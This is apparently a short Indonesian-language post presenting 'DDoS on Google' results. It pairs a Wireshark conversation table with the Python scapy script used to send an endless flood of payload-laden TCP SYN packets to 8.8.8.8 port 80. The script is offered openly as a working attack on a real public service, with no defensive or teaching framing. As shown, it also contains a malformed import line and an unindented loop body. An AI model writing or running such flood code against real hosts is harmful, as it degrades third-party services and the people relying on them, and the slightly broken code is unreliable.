Wireshark

Hasil DDOS Google:



Ethernet · 1 IPv4 · 1 IPv6 TCP · 5 UDP												
Address A ^	Port A Address B	Port B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A Rel Start	Duration
192.168.0.106	20 8.8.8.8	80	355,948	446 MB	21	355,948	100.00%	355,948	446 MB	0	0 bytes 123.942985	916.6607
192.168.0.106	62864 8.8.8.8	443	10	1 kB	62	19	52.63%	10	1 kB		0 bytes 874.458364	0.6102
192.168.0.106	62865 8.8.8.8	853	8	1 kB	63	16	50.00%	8	1 kB	0	0 bytes 874.459246	0.6105
192.168.0.106	62866 8.8.8.8	853	10	1 kB	65	18	55.56%	10	1 kB	0	0 bytes 874.611401	1.4283
192.168.0.106	62867 8.8.8.8	443	9	1 kB	66	18	50.00%	9	1 kB	0	0 bytes 874.663914	0.5965

Payload yang digunakan:

```
from scapy all import IP, TCP, Raw, send
dst_ip = "8.8.8.8"
dst_port = 80
payload = b"1234567890" * 120
tcp_syn_packet = IP(dst=dst_ip) / TCP(dport=dst_port, flags="S") / Raw(load=payload)
while True:
send(tcp_syn_packet, verbose=0)
print("wait for it")
```

Packet yang 1 juta menunjukkan traffic DDOS



